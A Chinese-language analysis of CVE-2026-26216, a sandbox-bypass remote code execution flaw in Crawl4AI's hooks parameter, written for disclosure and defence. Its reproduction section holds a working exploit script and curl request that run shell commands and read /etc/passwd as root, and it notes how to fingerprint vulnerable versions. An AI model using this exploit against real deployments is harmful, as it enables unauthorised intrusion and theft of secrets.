CVE-2026-26216:Crawl4AI 的 hooks 参数与一个不该留在白名单里的 import
CVSS 10.0 / 无认证 RCE / 影响 < 0.8.0 / 修复 0.8.0 GHSA-5882-5rx9-xgxp Crawl4AI 是当下最流行的开源 LLM 爬虫框架之一,官方 Docker 镜像默认把 API 暴露在 11235 端口,POST /crawl 端点默认不启用 JWT 认证。这个端点接受一个 hooks 参数,允许调用方注入 Python 代码,在爬取生命周期…
CVSS 10.0 / 无认证 RCE / 影响 < 0.8.0 / 修复 0.8.0 GHSA-5882-5rx9-xgxp
Crawl4AI 是当下最流行的开源 LLM 爬虫框架之一,官方 Docker 镜像默认把 API 暴露在 11235 端口,POST /crawl 端点默认不启用 JWT 认证。这个端点接受一个 hooks 参数,允许调用方注入 Python 代码,在爬取生命周期的各个事件点执行。代码在 exec() 里跑,外面套了一层"沙箱"——一个手写的 builtins 白名单。
问题出在白名单里多了一项:import。
0x00 漏洞信息
项 | 值 |
|---|---|
CVE | CVE-2026-26216 |
GHSA | GHSA-5882-5rx9-xgxp |
CVSS | 10.0 |
类型 | 未认证远程代码执行 |
影响版本 | crawl4ai < 0.8.0 |
修复版本 | 0.8.0 |
攻击向量 | POST /crawl 的 hooks.code 参数 |
权限要求 | 无(默认部署 JWT 关闭) |
执行上下文 | Docker 容器内 root |
0x01 沙箱是怎么被一个函数打穿的

hook_manager.py 里定义了 ALLOWED_BUILTINS,作者意图很清楚:去掉 open/eval/exec/compile 这些危险 builtins,保留 len/range/str 这类"看起来无害"的。但下面这一行让整个白名单形同虚设:
# hook_manager.py 第 59 行
"__import__": __import__,
这里值得展开讲一下这个白名单的构成。作者保留了 len、range、str、int、dict、list、sorted、min、max 这些类型和工具函数,也保留了 Exception、ValueError、KeyError 三类异常,意图是让合法的 hook 代码能正常做数据处理和异常捕获。同时作者明确没有放进去的包括 open、eval、exec、compile、__builtins__,说明他清楚这些是危险的。
但 __import__ 被放进去了,而且就排在 KeyError 后面,看不出任何特殊标记。在 Python 里,__import__ 是 import 语句的底层实现,拿到它就等于拿到了整个标准库的入口。更关键的是,它不只是能导入 os 和 subprocess——__import__('builtins').__dict__ 可以直接拿回完整的 builtins,然后 __import__('builtins').__dict__['open'] 就把作者刻意排除的 open 又拿回来了。所以这一个键,同时打穿了“模块导入限制”和“危险 builtins 排除”两道防线。
__import__ 为Python 加载模块的底层函数。它在白名单里,意味着 hook 代码可以 __import__('os')、__import__('subprocess')、__import__('socket')——把作者想封的模块全部拿回来。
第 94 行是执行点:
# hook_manager.py 第 94 行
exec(compile(code, f"<hook:{event}>", "exec"), sandbox_globals, sandbox_locals)

sandbox_globals 里塞的就是 ALLOWED_BUILTINS。整条链路:请求体 hooks.code.on_page_context_created → exec() → 白名单里的 import → 任意模块 → 任意命令。
0x02 本地复现

环境:Python 3.14 + fastapi 0.162 + uvicorn 0.54,跑复刻版 server.py(接口与官方 Docker 部署一致)。
服务启动:

INFO: Started server process [1128083]
INFO: Application startup complete.
INFO: Uvicorn running on http://127.0.0.1:11235
import json
import urllib.request
TARGET = "http://127.0.0.1:11235/crawl"
CMD = "id; hostname; whoami; uname -a"
hook = f"""
async def hook(page, context, **kwargs):
sp = __import__('subprocess')
out = sp.run({CMD!r}, shell=True, capture_output=True, text=True)
print(out.stdout)
return page
"""
payload = {
"url": "http://example.com",
"hooks": {"code": {"on_page_context_created": hook}},
}
req = urllib.request.Request(
TARGET,
data=json.dumps(payload).encode(),
headers={"Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(req, timeout=10) as r:
print(r.read().decode())构造 payload,hooks.code 里塞一个 async 函数,用 import('subprocess') 执行 id; hostname; whoami; uname -a:
curl -s -X POST http://127.0.0.1:11235/crawl \
-H "Content-Type: application/json" \
-d @/tmp/poc1.json

回显:
{"success":true,"results":[],"registered_hooks":["on_page_context_created"],
"server_log":"uid=0(root) gid=0(root) groups=0(root)\nQSSQDL\nroot\nLinux QSSQDL 6.18.54.1-microsoft-standard-WSL2 x86_64 GNU/Linux\n\n"}


uid=0(root)——容器里是 root,无任何凭据。
第二个请求读 /etc/passwd:
{"success":true,"server_log":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\n\n"}

0x03 修复对比:0.8.0 改了什么
0.8.0 做了三处改动:
ALLOWED_BUILTINS 移除 import、eval、exec、open、compile
hooks 默认关闭,改为 opt-in,需要环境变量 CRAWL4AI_HOOKS_ENABLED=true 才启用
对 hooks.code 的传入做显式类型检查
修复后的白名单不再包含 import,import('os') 会在 exec 时抛 NameError,沙箱从"形同虚设"变成"真的限制"。


0x04 影响面与防御
默认 Docker 部署的三个放大因素:
JWT 认证默认关闭
容器以 root 运行
11235 端口常被直接映射到宿主机或公网
从攻击者视角看,这个漏洞的利用门槛极低:不需要任何凭据,不需要知道目标上跑的是什么业务,只要 11235 端口可达,一个 POST 请求就能拿到容器内的命令执行。默认镜像以 root 运行,容器里通常挂着数据库连接串、上游 API key、模型凭据这类高价值配置,所以一旦被打进来,横向的价值很高。
从资产发现角度,11235 是一个特征明显的端口,配合 /health 端点返回的 {"status":"ok","version":"..."} 可以直接指纹识别版本号,判断是否在影响范围内。这也是为什么这类“默认无认证 + 默认 root + 固定端口”的组合,往往会在漏洞公开后很短时间内出现批量扫描。
防御四条:
升级到 crawl4ai >= 0.8.0
如无法升级,在反向代理层拦截
/crawl端点或强制 JWT容器以非 root 用户运行(
--user 1000:1000)不要把 11235 端口直接暴露到公网
防御侧,除了升级到 0.8.0,如果因为业务原因暂时无法升级,最直接的办法是在反向代理层把 /crawl 路径拦住,或者强制加上 JWT。另外把容器改成非 root 运行(--user 1000:1000)能显著降低拿到 shell 之后的破坏面,这一点对任何以 Docker 方式部署的服务都适用。
参考
GHSA-5882-5rx9-xgxp
CVE-2026-26216